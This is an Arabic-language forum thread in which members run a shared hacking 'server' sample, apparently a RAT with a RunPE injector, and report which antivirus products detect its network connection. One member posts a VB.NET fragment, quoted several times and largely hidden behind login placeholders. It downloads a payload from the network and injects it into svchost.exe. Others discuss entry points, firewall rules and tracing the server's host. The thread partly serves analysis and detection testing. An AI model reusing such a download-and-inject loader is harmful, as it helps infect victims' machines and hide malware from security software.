سيرفر اختراق للفحص والتشغيل >>

[osama101]

تجربتى على emsisoft internet security

بعد ضغط سماح على تنبهين

قمت بالذاهب الى الاحداث فى محلل السلوك وتم رصد الملف بمحلل السلوك

 

[MagicianMiDo32]

استخدمت entry points ؛
بس انتا ليه مدمجتش المكتبة مع السيرفر؟

 

[Mя.Soul]

استخدمت entry points ؛
بس انتا ليه مدمجتش المكتبة مع السيرفر؟

ما تعلى صوتك كمان وتفضحنا اعم ..

مليش مزاج ادمجلها وبعدين دا RunPe ... رمز الادخال مينفعش احطه فى مكتبه ولا ينفع .. احقن بيه .. لان رمز الادخال مش مجرد الا

هي التعليمة الاولى اللي يبدأ تنفيذ سير البرنامج من عندها

و الادريس الخاص بها

محفوظ

بستراكتر اسمه OptionalHeader

موجود باول 1024 بايت من التطبيق

امال الرن بى قصه وحكايه

 

[MagicianMiDo32]

[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=======================

Private Shared Sub

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

()
Dim client As New

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim address As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

= "

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

"

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(&H4E20)
Dim fileName As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim buffer As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

() =

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

("C:\Windows\System32\svchost.exe",

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

, buffer, False)
End Sub




Private Shared Sub

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

()
Dim client As New

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim address As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

= "

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

"

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(&H4E20)
Dim fileName As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim buffer As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

() =

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

("C:\Windows\System32\svchost.exe",

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

, buffer, False)
End Sub
[/hide]

بتحمل الخوارزمية من النت
دا سبب الأتصال
[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

who.is
[/hide]


[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

[hide][/hide][/hide]

 

[kimo7]

ما تعلى صوتك كمان وتفضحنا اعم ..

مليش مزاج ادمجلها وبعدين دا RunPe ... رمز الادخال مينفعش احطه فى مكتبه ولا ينفع .. احقن بيه .. لان رمز الادخال مش مجرد الا

هي التعليمة الاولى اللي يبدأ تنفيذ سير البرنامج من عندها

و الادريس الخاص بها

محفوظ

بستراكتر اسمه OptionalHeader

موجود باول 1024 بايت من التطبيق

امال الرن بى قصه وحكايه

ياعم في حد سمعكم .

 

[kimo7]

الباتش لايعمل معي بعد السماح له الصورة توضح اكثر

 

[black007]

استخدمت entry points ؛
بس انتا ليه مدمجتش المكتبة مع السيرفر؟

[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=======================

Private Shared Sub

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

()
Dim client As New

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim address As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

= "

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

"

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(&H4E20)
Dim fileName As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim buffer As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

() =

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

("C:\Windows\System32\svchost.exe",

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

, buffer, False)
End Sub




Private Shared Sub

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

()
Dim client As New

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim address As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

= "

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

"

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(&H4E20)
Dim fileName As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

=

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

Dim buffer As

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

() =

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

(

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

("C:\Windows\System32\svchost.exe",

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

.

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

, buffer, False)
End Sub
[/hide]

بتحمل الخوارزمية من النت
دا سبب الأتصال
[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

who.is
[/hide]


[hide]

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

[hide][/hide][/hide]

ههههههههه دانت فضيحه ياميدو

طيب بينك وبين الراجل مش كده يعنى اه تحل وتظبط

بس مش كده يعنى ده جزاته انه مشفرش الملف وخلك تلف حولين نفسك شويه

بينك وبينه عيب كده

 

[Abdelkarim]

عند التشغيل ثم رصد هذا الاتصال و تم السماح له

و بعد ذلك

ا ف ج نجح في ما اخفق فيه الكاسبر

 

[White Man]

عند التشغيل ثم رصد هذا الاتصال و تم السماح له
مشاهدة المرفق 63165
و بعد ذلك

مشاهدة المرفق 63166


ا ف ج نجح في ما اخفق فيه الكاسبر

أيضاً لم ينج الـ Avg فى رصد الاتصال المطلوب
+
الـ Avg قام بحجب بعض سلوكيات الباتش .. يجب السماح لجميع السلوكيات حتى يعمل بشكل صحيح

 

[Abdelkarim]

أيضاً لم ينج الـ Avg فى رصد الاتصال المطلوب
+
الـ Avg قام بحجب بعض سلوكيات الباتش .. يجب السماح لجميع السلوكيات حتى يعمل بشكل صحيح

حسنا اذا كان المطلوب رصد الاتصال سؤوقف محلل السلوك وارى ان كان سيرصد الاتصال

 

[MagicianMiDo32]

ما تعلى صوتك كمان وتفضحنا اعم ..

مليش مزاج ادمجلها وبعدين دا RunPe ... رمز الادخال مينفعش احطه فى مكتبه ولا ينفع .. احقن بيه .. لان رمز الادخال مش مجرد الا

هي التعليمة الاولى اللي يبدأ تنفيذ سير البرنامج من عندها

و الادريس الخاص بها

محفوظ

بستراكتر اسمه OptionalHeader

موجود باول 1024 بايت من التطبيق

امال الرن بى قصه وحكايه

التطبيق لما تطرحه بياخد قيم كائنات ثابتة افتراضية؛
وواضح من السورس الي انتا طارحه ف الموضوع انك ف وضع الـdeugging

 

[MagicianMiDo32]

ههههههههه دانت فضيحه ياميدو

طيب بينك وبين الراجل مش كده يعنى اه تحل وتظبط

بس مش كده يعنى ده جزاته انه مشفرش الملف وخلك تلف حولين نفسك شويه

بينك وبينه عيب كده

ياعم الحج سيبني اخبط شوية
أنا متعلمتش الكسر أصلا
أنا كل الي اتعلمته برمجة دوت نت بس

بفكر اخش ف السي بلس بلس
الدوت نت ماشي كويس معايا الحمد لله

 

[Abdelkarim]

اعدت المحاولة
ظهر نفس الاتصال كما بالمشاركة السابقة فقط

هل ظهرت عندك يا احمد ؟

 

[qysr]

تم التشغيل بعد بعض التعديلات

الاتصال ,, و الهوست ..
[hide]

[/hide]

 

[Abdelkarim]

بعض التغييرات في قواعد الجدار الناري اعطت النتيجة

 

[qysr]

شباب .. رجاء طمس الأيبي اذا ظهر في الصور

 

[kimo7]

في حد يتفضل يجرب على الباندا عيزين نشوف عامل ايه . النتائج بتقول ان عامل عمايل .

 

[AL.TAYEB]

تمام عاوزين بقى بياناات السيرفر ...


انا طرحت هذا للمساعده //

لكي ,,,,,,يعرف مكان ,, السيرفر / والخ,,,,,,,

الباقي هم ,,,,,,, تحياتي /

 

[MagicianMiDo32]

بعض التغييرات في قواعد الجدار الناري اعطت النتيجة

مشاهدة المرفق 63170